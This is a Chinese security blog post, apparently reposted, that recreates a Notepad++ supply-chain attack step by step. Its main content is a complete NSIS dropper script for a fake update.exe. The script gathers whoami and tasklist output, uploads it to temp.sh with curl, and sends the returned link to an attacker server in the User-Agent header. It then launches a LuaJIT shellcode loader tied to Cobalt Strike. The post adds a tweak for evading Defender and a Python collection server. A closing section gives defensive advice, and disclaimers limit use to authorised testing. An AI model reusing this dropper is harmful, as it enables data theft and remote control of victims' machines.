文章总结: 本文复现了2026年Notepad++供应链攻击手法,通过NSIS制作恶意update.exe安装包,执行后创建目录、收集系统信息并上传至temp.sh,再通过User-Agent将返回地址发送至攻击者服务器,最终释放Lua加载器连接CobaltStrike。文章强调更新服务应使用HTTPS、警惕exe释放器,并建议加速EDR普及以应对AI加速恶意代码形成的挑战。 综合评分: 98 文章分类: 供应链安全,红队,渗透测试,恶意软件,实战经验
notepad++供应链攻击手法复现
原创
陆安予 陆安予
白帽子安全笔记2.0
2026年7月28日 23:14 江苏
在小说阅读器读本章
去阅读
一、这是什么?
2026年2月,Notepad的更新服务器被恶意攻击者控制,导致下发恶意软件。整体来说不难,现在我们复现这里面的操作。
本文所涉及到的资源如下:
- • 1.server.py #负责接收收集的数据
- • 2.nsis-3.12-setup.exe #NSI编译工具
- • 3.NSI脚本 #执行逻辑
- • 4.LUA加载器
- • 5.Cobalt Strike
二、技术复现
1.NSIS安装包
首先是恶意的update.exe,这是一个像msi的安装包,由NSIS编译而来,那么接下来安装NSIS编译环境。这里下载到nsis-3.12-setup.exe版本并安装。
NSIS
接下来新建一个记事本,后缀改为.nsi,命名为update.nsi,我们要使用NSIS编译它(在上述界面的第一个选项),接下来实现这个攻击脚本的核心逻辑。
2.NSI脚本实现
根据大量分析资料,整个逻辑如下:
1.创建目录%appdata%\ProShow,并将它设置为当前工作目录。那么就是如下命令:
SetShellVarContext current
CreateDirectory "$APPDATA\ProShow"
SetOutPath "$APPDATA\ProShow"
2.执行下述命令获取系统信息保存为1.txt。注意部分文章描述错误,两个>才能代表追加。
nsExec::Exec 'cmd /c cd /d "$APPDATA\ProShow" && whoami && tasklist >> "1.txt"'
3.将1.txt上传到匿名托管平台temp.sh,那么就是这段代码。
nsExec::ExecToStack 'cmd /c cd /d "$APPDATA\ProShow" && curl -F "[email protected]" -s https://temp.sh/upload'
这里需要注意,由于这个特征已被Defender记录,现在我们变形下如下:
StrCpy $2 "temp.sh"
nsExec::ExecToStack 'cmd /c cd /d "$APPDATA\ProShow" && curl -F "[email protected]" -s https://$2/upload'
4.最后将temp.sh返回的地址作为User-Agent,发送HTTP请求到攻击者控制的服务器。
这里我们需要两步,第一步实现这个操作,第二步还需要做一个接收的环境。
nsExec::Exec 'cmd /c cd /d "$APPDATA\ProShow" && curl --user-agent "$1" -s http://192.168.136.1/list'
做一个接收服务,我将使用python实现这一点,它将负责将接收的信息存储到本地。
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import datetime
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/list':
ua = self.headers.get('User-Agent', '')
ts = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3]
client_ip = self.client_address[0]
with open("log.txt", "a") as f:
f.write(f"[{ts}] IP: {client_ip} | UA: {ua}\n")
print(f"[{ts}] Received from {client_ip}: {ua}")
self.send_response(200)
self.end_headers()
if __name__ == '__main__':
print("Server running on http://0.0.0.0:80")
HTTPServer(('0.0.0.0', 80), Handler).serve_forever()
开启接收服务
5.后来攻击者释放的实际是lua加载器来加载shellcode,这里我们使用lua。
经过反复打磨,最后完整NSI代码如下:
Name "Update"
OutFile "update.exe"
RequestExecutionLevel user
Section
SetShellVarContext current
CreateDirectory "$APPDATA\ProShow"
SetOutPath "$APPDATA\ProShow"
Sleep 1000
nsExec::Exec 'cmd /c cd /d "$APPDATA\ProShow" && whoami && tasklist >> "1.txt"'
Sleep 1000
StrCpy $2 "temp.sh"
nsExec::ExecToStack 'cmd /c cd /d "$APPDATA\ProShow" && curl -F "[email protected]" -s https://$2/upload'
Pop $0
Pop $1
Sleep 1000
nsExec::Exec 'cmd /c cd /d "$APPDATA\ProShow" && curl --user-agent "$1" -s http://192.168.136.1/list'
Sleep 1000
File "luajit.exe"
File "lua51.dll"
File "a.txt"
ExecShell "" "$APPDATA\ProShow\luajit.exe" "$APPDATA\ProShow\a.txt"
SectionEnd
6.最后使用NSIS工具编译这个NSI脚本,它将自动打包lua套件,生成exe程序(见桌面update.exe)。
编译NSI
3.运行exe程序
运行update.exe程序
运行update.msi设置当前用户上下文创建目录 “$APPDATA\ProShow”工作目录 “$APPDATA\ProShow”获取系统信息 whoami && tasklist >> “1.txt”上传至temp 执行 curl -F “[email protected]” -s https://temp.sh/upload获取返回的URL并存入 $1发送到服务器 执行 curl –user-agent “$1” -s http://192.168.136.1/list释放 luajit.exe释放 lua51.dll释放 a.txt执行 luajit.exe a.txt连接 Cobalt Strike开始执行过程
而我们的server也接收到了数据并存储为log:
<<< 左右滑动看更多 >>>
通过useragent传递收集的系统信息
Cobalt Strike
三、总结
1.exe运行一定要小心,制作一个exe释放器极其简单。 2.更新服务一定不能使用HTTP,流量极其容易被中间人劫持从而导致供应链攻击。 3.AI是把双刃剑,加速了恶意代码的形成,防守难度显著提高。应加速EDR的普及,而不是传统杀毒软件。
四、免责声明
本文涉及方案仅限合法授权的安全研究、渗透测试用途,使用者须确保符合《网络安全法》及相关法规。具体条款如下:
1.仅可用于已获得书面授权的目标系统测试; 2.遵守法律法规,不得用于侵犯他人隐私或数据窃取;
本人不承担因用户滥用本软件导致的任何后果。使用即视为同意并接受上述条款。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:白帽子安全笔记2.0 陆安予 陆安予《notepad++供应链攻击手法复现》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









![个人常用的POC[福利]](/images/random/titlepic/7.jpg)

评论